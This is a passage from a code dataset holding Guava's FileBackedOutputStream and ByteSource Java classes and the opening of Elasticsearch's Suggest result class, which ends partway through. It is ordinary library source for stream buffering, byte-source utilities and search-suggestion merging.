| elastic/elasticsearch | server/src/main/java/org/elasticsearch/common/geo/GeoUtils.java |
1,367 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.common.io;
import static com.google.common.base.Preconditions.checkArgument;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.Beta;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.common.annotations.VisibleForTesting;
import com.google.errorprone.annotations.concurrent.GuardedBy;
import com.google.j2objc.annotations.J2ObjCIncompatible;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.annotation.CheckForNull;
/**
* An {@link OutputStream} that starts buffering to a byte array, but switches to file buffering
* once the data reaches a configurable size.
*
* <p>When this stream creates a temporary file, it restricts the file's permissions to the current
* user or, in the case of Android, the current app. If that is not possible (as is the case under
* the very old Android Ice Cream Sandwich release), then this stream throws an exception instead of
* creating a file that would be more accessible. (This behavior is new in Guava 32.0.0. Previous
* versions would create a file that is more accessible, as discussed in <a
* href="https://github.com/google/guava/issues/2575">Guava issue 2575</a>. TODO: b/283778848 - Fill
* in CVE number once it's available.)
*
* <p>Temporary files created by this stream may live in the local filesystem until either:
*
* <ul>
* <li>{@link #reset} is called (removing the data in this stream and deleting the file), or...
* <li>this stream (or, more precisely, its {@link #asByteSource} view) is finalized during
* garbage collection, <strong>AND</strong> this stream was not constructed with {@linkplain
* #FileBackedOutputStream(int) the 1-arg constructor} or the {@linkplain
* #FileBackedOutputStream(int, boolean) 2-arg constructor} passing {@code false} in the
* second parameter.
* </ul>
*
* <p>This class is thread-safe.
*
* @author Chris Nokleberg
* @since 1.0
*/
@Beta
@J2ktIncompatible
@GwtIncompatible
@J2ObjCIncompatible
@ElementTypesAreNonnullByDefault
public final class FileBackedOutputStream extends OutputStream {
private final int fileThreshold;
private final boolean resetOnFinalize;
private final ByteSource source;
@GuardedBy("this")
private OutputStream out;
@GuardedBy("this")
@CheckForNull
private MemoryOutput memory;
@GuardedBy("this")
@CheckForNull
private File file;
/** ByteArrayOutputStream that exposes its internals. */
private static class MemoryOutput extends ByteArrayOutputStream {
byte[] getBuffer() {
return buf;
}
int getCount() {
return count;
}
}
/** Returns the file holding the data (possibly null). */
@VisibleForTesting
@CheckForNull
synchronized File getFile() {
return file;
}
/**
* Creates a new instance that uses the given file threshold, and does not reset the data when the
* {@link ByteSource} returned by {@link #asByteSource} is finalized.
*
* @param fileThreshold the number of bytes before the stream should switch to buffering to a file
* @throws IllegalArgumentException if {@code fileThreshold} is negative
*/
public FileBackedOutputStream(int fileThreshold) {
this(fileThreshold, false);
}
/**
* Creates a new instance that uses the given file threshold, and optionally resets the data when
* the {@link ByteSource} returned by {@link #asByteSource} is finalized.
*
* @param fileThreshold the number of bytes before the stream should switch to buffering to a file
* @param resetOnFinalize if true, the {@link #reset} method will be called when the {@link
* ByteSource} returned by {@link #asByteSource} is finalized.
* @throws IllegalArgumentException if {@code fileThreshold} is negative
*/
public FileBackedOutputStream(int fileThreshold, boolean resetOnFinalize) {
checkArgument(
fileThreshold >= 0, "fileThreshold must be non-negative, but was %s", fileThreshold);
this.fileThreshold = fileThreshold;
this.resetOnFinalize = resetOnFinalize;
memory = new MemoryOutput();
out = memory;
if (resetOnFinalize) {
source =
new ByteSource() {
@Override
public InputStream openStream() throws IOException {
return openInputStream();
}
@SuppressWarnings("removal") // b/260137033
@Override
protected void finalize() {
try {
reset();
} catch (Throwable t) {
t.printStackTrace(System.err);
}
}
};
} else {
source =
new ByteSource() {
@Override
public InputStream openStream() throws IOException {
return openInputStream();
}
};
}
}
/**
* Returns a readable {@link ByteSource} view of the data that has been written to this stream.
*
* @since 15.0
*/
public ByteSource asByteSource() {
return source;
}
private synchronized InputStream openInputStream() throws IOException {
if (file != null) {
return new FileInputStream(file);
} else {
// requireNonNull is safe because we always have either `file` or `memory`.
requireNonNull(memory);
return new ByteArrayInputStream(memory.getBuffer(), 0, memory.getCount());
}
}
/**
* Calls {@link #close} if not already closed, and then resets this object back to its initial
* state, for reuse. If data was buffered to a file, it will be deleted.
*
* @throws IOException if an I/O error occurred while deleting the file buffer
*/
public synchronized void reset() throws IOException {
try {
close();
} finally {
if (memory == null) {
memory = new MemoryOutput();
} else {
memory.reset();
}
out = memory;
if (file != null) {
File deleteMe = file;
file = null;
if (!deleteMe.delete()) {
throw new IOException("Could not delete: " + deleteMe);
}
}
}
}
@Override
public synchronized void write(int b) throws IOException {
update(1);
out.write(b);
}
@Override
public synchronized void write(byte[] b) throws IOException {
write(b, 0, b.length);
}
@Override
public synchronized void write(byte[] b, int off, int len) throws IOException {
update(len);
out.write(b, off, len);
}
@Override
public synchronized void close() throws IOException {
out.close();
}
@Override
public synchronized void flush() throws IOException {
out.flush();
}
/**
* Checks if writing {@code len} bytes would go over threshold, and switches to file buffering if
* so.
*/
@GuardedBy("this")
private void update(int len) throws IOException {
if (memory != null && (memory.getCount() + len > fileThreshold)) {
File temp = TempFileCreator.INSTANCE.createTempFile("FileBackedOutputStream");
if (resetOnFinalize) {
// Finalizers are not guaranteed to be called on system shutdown;
// this is insurance.
temp.deleteOnExit();
}
try {
FileOutputStream transfer = new FileOutputStream(temp);
transfer.write(memory.getBuffer(), 0, memory.getCount());
transfer.flush();
// We've successfully transferred the data; switch to writing to file
out = transfer;
} catch (IOException e) {
temp.delete();
throw e;
}
file = temp;
memory = null;
}
}
}
| google/guava | android/guava/src/com/google/common/io/FileBackedOutputStream.java |
1,368 | /*
* Copyright (C) 2012 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.common.io;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.io.ByteStreams.createBuffer;
import static com.google.common.io.ByteStreams.skipUpTo;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.common.base.Ascii;
import com.google.common.base.Optional;
import com.google.common.collect.ImmutableList;
import com.google.common.hash.Funnels;
import com.google.common.hash.HashCode;
import com.google.common.hash.HashFunction;
import com.google.common.hash.Hasher;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import java.io.BufferedInputStream;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.Reader;
import java.nio.charset.Charset;
import java.util.Arrays;
import java.util.Collection;
import java.util.Iterator;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* A readable source of bytes, such as a file. Unlike an {@link InputStream}, a {@code ByteSource}
* is not an open, stateful stream for input that can be read and closed. Instead, it is an
* immutable <i>supplier</i> of {@code InputStream} instances.
*
* <p>{@code ByteSource} provides two kinds of methods:
*
* <ul>
* <li><b>Methods that return a stream:</b> These methods should return a <i>new</i>, independent
* instance each time they are called. The caller is responsible for ensuring that the
* returned stream is closed.
* <li><b>Convenience methods:</b> These are implementations of common operations that are
* typically implemented by opening a stream using one of the methods in the first category,
* doing something and finally closing the stream that was opened.
* </ul>
*
* <p><b>Note:</b> In general, {@code ByteSource} is intended to be used for "file-like" sources
* that provide streams that are:
*
* <ul>
* <li><b>Finite:</b> Many operations, such as {@link #size()} and {@link #read()}, will either
* block indefinitely or fail if the source creates an infinite stream.
* <li><b>Non-destructive:</b> A <i>destructive</i> stream will consume or otherwise alter the
* bytes of the source as they are read from it. A source that provides such streams will not
* be reusable, and operations that read from the stream (including {@link #size()}, in some
* implementations) will prevent further operations from completing as expected.
* </ul>
*
* @since 14.0
* @author Colin Decker
*/
@J2ktIncompatible
@GwtIncompatible
@ElementTypesAreNonnullByDefault
public abstract class ByteSource {
/** Constructor for use by subclasses. */
protected ByteSource() {}
/**
* Returns a {@link CharSource} view of this byte source that decodes bytes read from this source
* as characters using the given {@link Charset}.
*
* <p>If {@link CharSource#asByteSource} is called on the returned source with the same charset,
* the default implementation of this method will ensure that the original {@code ByteSource} is
* returned, rather than round-trip encoding. Subclasses that override this method should behave
* the same way.
*/
public CharSource asCharSource(Charset charset) {
return new AsCharSource(charset);
}
/**
* Opens a new {@link InputStream} for reading from this source. This method returns a new,
* independent stream each time it is called.
*
* <p>The caller is responsible for ensuring that the returned stream is closed.
*
* @throws IOException if an I/O error occurs while opening the stream
*/
public abstract InputStream openStream() throws IOException;
/**
* Opens a new buffered {@link InputStream} for reading from this source. The returned stream is
* not required to be a {@link BufferedInputStream} in order to allow implementations to simply
* delegate to {@link #openStream()} when the stream returned by that method does not benefit from
* additional buffering (for example, a {@code ByteArrayInputStream}). This method returns a new,
* independent stream each time it is called.
*
* <p>The caller is responsible for ensuring that the returned stream is closed.
*
* @throws IOException if an I/O error occurs while opening the stream
* @since 15.0 (in 14.0 with return type {@link BufferedInputStream})
*/
public InputStream openBufferedStream() throws IOException {
InputStream in = openStream();
return (in instanceof BufferedInputStream)
? (BufferedInputStream) in
: new BufferedInputStream(in);
}
/**
* Returns a view of a slice of this byte source that is at most {@code length} bytes long
* starting at the given {@code offset}. If {@code offset} is greater than the size of this
* source, the returned source will be empty. If {@code offset + length} is greater than the size
* of this source, the returned source will contain the slice starting at {@code offset} and
* ending at the end of this source.
*
* @throws IllegalArgumentException if {@code offset} or {@code length} is negative
*/
public ByteSource slice(long offset, long length) {
return new SlicedByteSource(offset, length);
}
/**
* Returns whether the source has zero bytes. The default implementation first checks {@link
* #sizeIfKnown}, returning true if it's known to be zero and false if it's known to be non-zero.
* If the size is not known, it falls back to opening a stream and checking for EOF.
*
* <p>Note that, in cases where {@code sizeIfKnown} returns zero, it is <i>possible</i> that bytes
* are actually available for reading. (For example, some special files may return a size of 0
* despite actually having content when read.) This means that a source may return {@code true}
* from {@code isEmpty()} despite having readable content.
*
* @throws IOException if an I/O error occurs
* @since 15.0
*/
public boolean isEmpty() throws IOException {
Optional<Long> sizeIfKnown = sizeIfKnown();
if (sizeIfKnown.isPresent()) {
return sizeIfKnown.get() == 0L;
}
Closer closer = Closer.create();
try {
InputStream in = closer.register(openStream());
return in.read() == -1;
} catch (Throwable e) {
throw closer.rethrow(e);
} finally {
closer.close();
}
}
/**
* Returns the size of this source in bytes, if the size can be easily determined without actually
* opening the data stream.
*
* <p>The default implementation returns {@link Optional#absent}. Some sources, such as a file,
* may return a non-absent value. Note that in such cases, it is <i>possible</i> that this method
* will return a different number of bytes than would be returned by reading all of the bytes (for
* example, some special files may return a size of 0 despite actually having content when read).
*
* <p>Additionally, for mutable sources such as files, a subsequent read may return a different
* number of bytes if the contents are changed.
*
* @since 19.0
*/
public Optional<Long> sizeIfKnown() {
return Optional.absent();
}
/**
* Returns the size of this source in bytes, even if doing so requires opening and traversing an
* entire stream. To avoid a potentially expensive operation, see {@link #sizeIfKnown}.
*
* <p>The default implementation calls {@link #sizeIfKnown} and returns the value if present. If
* absent, it will fall back to a heavyweight operation that will open a stream, read (or {@link
* InputStream#skip(long) skip}, if possible) to the end of the stream and return the total number
* of bytes that were read.
*
* <p>Note that for some sources that implement {@link #sizeIfKnown} to provide a more efficient
* implementation, it is <i>possible</i> that this method will return a different number of bytes
* than would be returned by reading all of the bytes (for example, some special files may return
* a size of 0 despite actually having content when read).
*
* <p>In either case, for mutable sources such as files, a subsequent read may return a different
* number of bytes if the contents are changed.
*
* @throws IOException if an I/O error occurs while reading the size of this source
*/
public long size() throws IOException {
Optional<Long> sizeIfKnown = sizeIfKnown();
if (sizeIfKnown.isPresent()) {
return sizeIfKnown.get();
}
Closer closer = Closer.create();
try {
InputStream in = closer.register(openStream());
return countBySkipping(in);
} catch (IOException e) {
// skip may not be supported... at any rate, try reading
} finally {
closer.close();
}
closer = Closer.create();
try {
InputStream in = closer.register(openStream());
return ByteStreams.exhaust(in);
} catch (Throwable e) {
throw closer.rethrow(e);
} finally {
closer.close();
}
}
/** Counts the bytes in the given input stream using skip if possible. */
private long countBySkipping(InputStream in) throws IOException {
long count = 0;
long skipped;
while ((skipped = skipUpTo(in, Integer.MAX_VALUE)) > 0) {
count += skipped;
}
return count;
}
/**
* Copies the contents of this byte source to the given {@code OutputStream}. Does not close
* {@code output}.
*
* @return the number of bytes copied
* @throws IOException if an I/O error occurs while reading from this source or writing to {@code
* output}
*/
@CanIgnoreReturnValue
public long copyTo(OutputStream output) throws IOException {
checkNotNull(output);
Closer closer = Closer.create();
try {
InputStream in = closer.register(openStream());
return ByteStreams.copy(in, output);
} catch (Throwable e) {
throw closer.rethrow(e);
} finally {
closer.close();
}
}
/**
* Copies the contents of this byte source to the given {@code ByteSink}.
*
* @return the number of bytes copied
* @throws IOException if an I/O error occurs while reading from this source or writing to {@code
* sink}
*/
@CanIgnoreReturnValue
public long copyTo(ByteSink sink) throws IOException {
checkNotNull(sink);
Closer closer = Closer.create();
try {
InputStream in = closer.register(openStream());
OutputStream out = closer.register(sink.openStream());
return ByteStreams.copy(in, out);
} catch (Throwable e) {
throw closer.rethrow(e);
} finally {
closer.close();
}
}
/**
* Reads the full contents of this byte source as a byte array.
*
* @throws IOException if an I/O error occurs while reading from this source
*/
public byte[] read() throws IOException {
Closer closer = Closer.create();
try {
InputStream in = closer.register(openStream());
Optional<Long> size = sizeIfKnown();
return size.isPresent()
? ByteStreams.toByteArray(in, size.get())
: ByteStreams.toByteArray(in);
} catch (Throwable e) {
throw closer.rethrow(e);
} finally {
closer.close();
}
}
/**
* Reads the contents of this byte source using the given {@code processor} to process bytes as
* they are read. Stops when all bytes have been read or the consumer returns {@code false}.
* Returns the result produced by the processor.
*
* @throws IOException if an I/O error occurs while reading from this source or if {@code
* processor} throws an {@code IOException}
* @since 16.0
*/
@CanIgnoreReturnValue // some processors won't return a useful result
@ParametricNullness
public <T extends @Nullable Object> T read(ByteProcessor<T> processor) throws IOException {
checkNotNull(processor);
Closer closer = Closer.create();
try {
InputStream in = closer.register(openStream());
return ByteStreams.readBytes(in, processor);
} catch (Throwable e) {
throw closer.rethrow(e);
} finally {
closer.close();
}
}
/**
* Hashes the contents of this byte source using the given hash function.
*
* @throws IOException if an I/O error occurs while reading from this source
*/
public HashCode hash(HashFunction hashFunction) throws IOException {
Hasher hasher = hashFunction.newHasher();
copyTo(Funnels.asOutputStream(hasher));
return hasher.hash();
}
/**
* Checks that the contents of this byte source are equal to the contents of the given byte
* source.
*
* @throws IOException if an I/O error occurs while reading from this source or {@code other}
*/
public boolean contentEquals(ByteSource other) throws IOException {
checkNotNull(other);
byte[] buf1 = createBuffer();
byte[] buf2 = createBuffer();
Closer closer = Closer.create();
try {
InputStream in1 = closer.register(openStream());
InputStream in2 = closer.register(other.openStream());
while (true) {
int read1 = ByteStreams.read(in1, buf1, 0, buf1.length);
int read2 = ByteStreams.read(in2, buf2, 0, buf2.length);
if (read1 != read2 || !Arrays.equals(buf1, buf2)) {
return false;
} else if (read1 != buf1.length) {
return true;
}
}
} catch (Throwable e) {
throw closer.rethrow(e);
} finally {
closer.close();
}
}
/**
* Concatenates multiple {@link ByteSource} instances into a single source. Streams returned from
* the source will contain the concatenated data from the streams of the underlying sources.
*
* <p>Only one underlying stream will be open at a time. Closing the concatenated stream will
* close the open underlying stream.
*
* @param sources the sources to concatenate
* @return a {@code ByteSource} containing the concatenated data
* @since 15.0
*/
public static ByteSource concat(Iterable<? extends ByteSource> sources) {
return new ConcatenatedByteSource(sources);
}
/**
* Concatenates multiple {@link ByteSource} instances into a single source. Streams returned from
* the source will contain the concatenated data from the streams of the underlying sources.
*
* <p>Only one underlying stream will be open at a time. Closing the concatenated stream will
* close the open underlying stream.
*
* <p>Note: The input {@code Iterator} will be copied to an {@code ImmutableList} when this method
* is called. This will fail if the iterator is infinite and may cause problems if the iterator
* eagerly fetches data for each source when iterated (rather than producing sources that only
* load data through their streams). Prefer using the {@link #concat(Iterable)} overload if
* possible.
*
* @param sources the sources to concatenate
* @return a {@code ByteSource} containing the concatenated data
* @throws NullPointerException if any of {@code sources} is {@code null}
* @since 15.0
*/
public static ByteSource concat(Iterator<? extends ByteSource> sources) {
return concat(ImmutableList.copyOf(sources));
}
/**
* Concatenates multiple {@link ByteSource} instances into a single source. Streams returned from
* the source will contain the concatenated data from the streams of the underlying sources.
*
* <p>Only one underlying stream will be open at a time. Closing the concatenated stream will
* close the open underlying stream.
*
* @param sources the sources to concatenate
* @return a {@code ByteSource} containing the concatenated data
* @throws NullPointerException if any of {@code sources} is {@code null}
* @since 15.0
*/
public static ByteSource concat(ByteSource... sources) {
return concat(ImmutableList.copyOf(sources));
}
/**
* Returns a view of the given byte array as a {@link ByteSource}. To view only a specific range
* in the array, use {@code ByteSource.wrap(b).slice(offset, length)}.
*
* <p>Note that the given byte array may be passed directly to methods on, for example, {@code
* OutputStream} (when {@code copyTo(OutputStream)} is called on the resulting {@code
* ByteSource}). This could allow a malicious {@code OutputStream} implementation to modify the
* contents of the array, but provides better performance in the normal case.
*
* @since 15.0 (since 14.0 as {@code ByteStreams.asByteSource(byte[])}).
*/
public static ByteSource wrap(byte[] b) {
return new ByteArrayByteSource(b);
}
/**
* Returns an immutable {@link ByteSource} that contains no bytes.
*
* @since 15.0
*/
public static ByteSource empty() {
return EmptyByteSource.INSTANCE;
}
/**
* A char source that reads bytes from this source and decodes them as characters using a charset.
*/
class AsCharSource extends CharSource {
final Charset charset;
AsCharSource(Charset charset) {
this.charset = checkNotNull(charset);
}
@Override
public ByteSource asByteSource(Charset charset) {
if (charset.equals(this.charset)) {
return ByteSource.this;
}
return super.asByteSource(charset);
}
@Override
public Reader openStream() throws IOException {
return new InputStreamReader(ByteSource.this.openStream(), charset);
}
@Override
public String read() throws IOException {
// Reading all the data as a byte array is more efficient than the default read()
// implementation because:
// 1. the string constructor can avoid an extra copy most of the time by correctly sizing the
// internal char array (hard to avoid using StringBuilder)
// 2. we avoid extra copies into temporary buffers altogether
// The downside is that this will cause us to store the file bytes in memory twice for a short
// amount of time.
return new String(ByteSource.this.read(), charset);
}
@Override
public String toString() {
return ByteSource.this.toString() + ".asCharSource(" + charset + ")";
}
}
/** A view of a subsection of the containing byte source. */
private final class SlicedByteSource extends ByteSource {
final long offset;
final long length;
SlicedByteSource(long offset, long length) {
checkArgument(offset >= 0, "offset (%s) may not be negative", offset);
checkArgument(length >= 0, "length (%s) may not be negative", length);
this.offset = offset;
this.length = length;
}
@Override
public InputStream openStream() throws IOException {
return sliceStream(ByteSource.this.openStream());
}
@Override
public InputStream openBufferedStream() throws IOException {
return sliceStream(ByteSource.this.openBufferedStream());
}
private InputStream sliceStream(InputStream in) throws IOException {
if (offset > 0) {
long skipped;
try {
skipped = ByteStreams.skipUpTo(in, offset);
} catch (Throwable e) {
Closer closer = Closer.create();
closer.register(in);
try {
throw closer.rethrow(e);
} finally {
closer.close();
}
}
if (skipped < offset) {
// offset was beyond EOF
in.close();
return new ByteArrayInputStream(new byte[0]);
}
}
return ByteStreams.limit(in, length);
}
@Override
public ByteSource slice(long offset, long length) {
checkArgument(offset >= 0, "offset (%s) may not be negative", offset);
checkArgument(length >= 0, "length (%s) may not be negative", length);
long maxLength = this.length - offset;
return maxLength <= 0
? ByteSource.empty()
: ByteSource.this.slice(this.offset + offset, Math.min(length, maxLength));
}
@Override
public boolean isEmpty() throws IOException {
return length == 0 || super.isEmpty();
}
@Override
public Optional<Long> sizeIfKnown() {
Optional<Long> optionalUnslicedSize = ByteSource.this.sizeIfKnown();
if (optionalUnslicedSize.isPresent()) {
long unslicedSize = optionalUnslicedSize.get();
long off = Math.min(offset, unslicedSize);
return Optional.of(Math.min(length, unslicedSize - off));
}
return Optional.absent();
}
@Override
public String toString() {
return ByteSource.this.toString() + ".slice(" + offset + ", " + length + ")";
}
}
private static class ByteArrayByteSource extends
ByteSource
{
final byte[] bytes;
final int offset;
final int length;
ByteArrayByteSource(byte[] bytes) {
this(bytes, 0, bytes.length);
}
// NOTE: Preconditions are enforced by slice, the only non-trivial caller.
ByteArrayByteSource(byte[] bytes, int offset, int length) {
this.bytes = bytes;
this.offset = offset;
this.length = length;
}
@Override
public InputStream openStream() {
return new ByteArrayInputStream(bytes, offset, length);
}
@Override
public InputStream openBufferedStream() {
return openStream();
}
@Override
public boolean isEmpty() {
return length == 0;
}
@Override
public long size() {
return length;
}
@Override
public Optional<Long> sizeIfKnown() {
return Optional.of((long) length);
}
@Override
public byte[] read() {
return Arrays.copyOfRange(bytes, offset, offset + length);
}
@SuppressWarnings("CheckReturnValue") // it doesn't matter what processBytes returns here
@Override
@ParametricNullness
public <T extends @Nullable Object> T read(ByteProcessor<T> processor) throws IOException {
processor.processBytes(bytes, offset, length);
return processor.getResult();
}
@Override
public long copyTo(OutputStream output) throws IOException {
output.write(bytes, offset, length);
return length;
}
@Override
public HashCode hash(HashFunction hashFunction) throws IOException {
return hashFunction.hashBytes(bytes, offset, length);
}
@Override
public ByteSource slice(long offset, long length) {
checkArgument(offset >= 0, "offset (%s) may not be negative", offset);
checkArgument(length >= 0, "length (%s) may not be negative", length);
offset = Math.min(offset, this.length);
length = Math.min(length, this.length - offset);
int newOffset = this.offset + (int) offset;
return new ByteArrayByteSource(bytes, newOffset, (int) length);
}
@Override
public String toString() {
return "ByteSource.wrap("
+ Ascii.truncate(BaseEncoding.base16().encode(bytes, offset, length), 30, "...")
+ ")";
}
}
private static final class EmptyByteSource extends ByteArrayByteSource {
static final EmptyByteSource INSTANCE = new EmptyByteSource();
EmptyByteSource() {
super(new byte[0]);
}
@Override
public CharSource asCharSource(Charset charset) {
checkNotNull(charset);
return CharSource.empty();
}
@Override
public byte[] read() {
return bytes; // length is 0, no need to clone
}
@Override
public String toString() {
return "ByteSource.empty()";
}
}
private static final class ConcatenatedByteSource extends ByteSource {
final Iterable<? extends ByteSource> sources;
ConcatenatedByteSource(Iterable<? extends ByteSource> sources) {
this.sources = checkNotNull(sources);
}
@Override
public InputStream openStream() throws IOException {
return new MultiInputStream(sources.iterator());
}
@Override
public boolean isEmpty() throws IOException {
for (ByteSource source : sources) {
if (!source.isEmpty()) {
return false;
}
}
return true;
}
@Override
public Optional<Long> sizeIfKnown() {
if (!(sources instanceof Collection)) {
// Infinite Iterables can cause problems here. Of course, it's true that most of the other
// methods on this class also have potential problems with infinite Iterables. But unlike
// those, this method can cause issues even if the user is dealing with a (finite) slice()
// of this source, since the slice's sizeIfKnown() method needs to know the size of the
// underlying source to know what its size actually is.
return Optional.absent();
}
long result = 0L;
for (ByteSource source : sources) {
Optional<Long> sizeIfKnown = source.sizeIfKnown();
if (!sizeIfKnown.isPresent()) {
return Optional.absent();
}
result += sizeIfKnown.get();
if (result < 0) {
// Overflow (or one or more sources that returned a negative size, but all bets are off in
// that case)
// Can't represent anything higher, and realistically there probably isn't anything that
// can actually be done anyway with the supposed 8+ exbibytes of data the source is
// claiming to have if we get here, so just stop.
return Optional.of(Long.MAX_VALUE);
}
}
return Optional.of(result);
}
@Override
public long size() throws IOException {
long result = 0L;
for (ByteSource source : sources) {
result += source.size();
if (result < 0) {
// Overflow (or one or more sources that returned a negative size, but all bets are off in
// that case)
// Can't represent anything higher, and realistically there probably isn't anything that
// can actually be done anyway with the supposed 8+ exbibytes of data the source is
// claiming to have if we get here, so just stop.
return Long.MAX_VALUE;
}
}
return result;
}
@Override
public String toString() {
return "ByteSource.concat(" + sources + ")";
}
}
}
| google/guava | android/guava/src/com/google/common/io/ByteSource.java |
1,369 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.search.suggest;
import org.apache.lucene.util.CollectionUtil;
import org.elasticsearch.common.Strings;
import org.elasticsearch.common.io.stream.NamedWriteable;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.common.io.stream.Writeable;
import org.elasticsearch.common.text.Text;
import org.elasticsearch.rest.action.search.RestSearchAction;
import org.elasticsearch.search.aggregations.Aggregation;
import org.elasticsearch.search.suggest.Suggest.Suggestion.Entry;
import org.elasticsearch.search.suggest.Suggest.Suggestion.Entry.Option;
import org.elasticsearch.search.suggest.completion.CompletionSuggestion;
import org.elasticsearch.xcontent.ParseField;
import org.elasticsearch.xcontent.ToXContentFragment;
import org.elasticsearch.xcontent.XContentBuilder;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Objects;
/**
* Top level suggest result, containing the result for each suggestion.
*/
public final class Suggest implements Iterable<Suggest.Suggestion<? extends Entry<? extends Option>>>, Writeable, ToXContentFragment {
public static final String NAME = "suggest";
public static final Comparator<Option> COMPARATOR = (first, second) -> {
int cmp = Float.compare(second.getScore(), first.getScore());
if (cmp != 0) {
return cmp;
}
return first.getText().compareTo(second.getText());
};
private final List<Suggestion<? extends Entry<? extends Option>>> suggestions;
private final boolean hasScoreDocs;
private Map<String, Suggestion<? extends Entry<? extends Option>>> suggestMap;
public Suggest(List<Suggestion<? extends Entry<? extends Option>>> suggestions) {
// we sort suggestions by their names to ensure iteration over suggestions are consistent
// this is needed as we need to fill in suggestion docs in SearchPhaseController#sortDocs
// in the same order as we enrich the suggestions with fetch results in SearchPhaseController#merge
suggestions.sort((o1, o2) -> o1.getName().compareTo(o2.getName()));
this.suggestions = suggestions;
this.hasScoreDocs = filter(CompletionSuggestion.class).stream().anyMatch(CompletionSuggestion::hasScoreDocs);
}
@SuppressWarnings({ "rawtypes", "unchecked", "this-escape" })
public Suggest(StreamInput in) throws IOException {
suggestions = (List) in.readNamedWriteableCollectionAsList(Suggestion.class);
hasScoreDocs = filter(CompletionSuggestion.class).stream().anyMatch(CompletionSuggestion::hasScoreDocs);
}
@Override
public Iterator<Suggestion<? extends Entry<? extends Option>>> iterator() {
return suggestions.iterator();
}
/**
* The number of suggestions in this {@link Suggest} result
*/
public int size() {
return suggestions.size();
}
@SuppressWarnings("unchecked")
public <T extends Suggestion<? extends Entry<? extends Option>>> T getSuggestion(String name) {
if (suggestions.isEmpty() || name == null) {
return null;
} else if (suggestions.size() == 1) {
return (T) (name.equals(suggestions.get(0).name) ? suggestions.get(0) : null);
} else if (this.suggestMap == null) {
suggestMap = new HashMap<>();
for (Suggest.Suggestion<? extends Entry<? extends Option>> item : suggestions) {
suggestMap.put(item.getName(), item);
}
}
return (T) suggestMap.get(name);
}
/**
* Whether any suggestions had query hits
*/
public boolean hasScoreDocs() {
return hasScoreDocs;
}
@Override
public void writeTo(StreamOutput out) throws IOException {
out.writeNamedWriteableCollection(suggestions);
}
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
builder.startObject(NAME);
for (Suggestion<?> suggestion : suggestions) {
suggestion.toXContent(builder, params);
}
builder.endObject();
return builder;
}
public static List<Suggestion<? extends Entry<? extends Option>>> reduce(Map<String, List<Suggest.Suggestion<?>>> groupedSuggestions) {
List<Suggestion<? extends Entry<? extends Option>>> reduced = new ArrayList<>(groupedSuggestions.size());
for (Map.Entry<String, List<Suggestion<?>>> unmergedResults : groupedSuggestions.entrySet()) {
List<Suggestion<?>> value = unmergedResults.getValue();
@SuppressWarnings("rawtypes")
Class<? extends Suggestion> suggestionClass = null;
for (Suggestion<?> suggestion : value) {
if (suggestionClass == null) {
suggestionClass = suggestion.getClass();
} else if (suggestionClass != suggestion.getClass()) {
throw new IllegalArgumentException(
"detected mixed suggestion results, due to querying on old and new completion suggester,"
+ " query on a single completion suggester version"
);
}
}
@SuppressWarnings({ "unchecked", "rawtypes" })
Suggestion<? extends Entry<? extends Option>> reduce = value.get(0).reduce((List) value);
reduce.trim();
reduced.add(reduce);
}
return reduced;
}
/**
* @return only suggestions of type <code>suggestionType</code> contained in this {@link Suggest} instance
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
public <T extends Suggestion> List<T> filter(Class<T> suggestionType) {
return suggestions.stream()
.filter(suggestion -> suggestion.getClass() == suggestionType)
.map(suggestion -> (T) suggestion)
.toList();
}
@Override
public boolean equals(Object other) {
if (this == other) {
return true;
}
if (other == null || getClass() != other.getClass()) {
return false;
}
return Objects.equals(suggestions, ((Suggest) other).suggestions);
}
@Override
public int hashCode() {
return Objects.hash(suggestions);
}
/**
* The suggestion responses corresponding with the suggestions in the request.
*/
@SuppressWarnings("rawtypes")
public abstract static class Suggestion<T extends Suggestion.Entry> implements Iterable<T>, NamedWriteable, ToXContentFragment {
protected final String name;
protected final int size;
protected final List<T> entries = new ArrayList<>(5);
public Suggestion(String name, int size) {
this.name = name;
this.size = size; // The suggested term size specified in request, only used for merging shard responses
}
@SuppressWarnings("this-escape")
public Suggestion(StreamInput in) throws IOException {
name = in.readString();
size = in.readVInt();
int entriesCount = in.readVInt();
entries.clear();
for (int i = 0; i < entriesCount; i++) {
T newEntry = newEntry(in);
entries.add(newEntry);
}
}
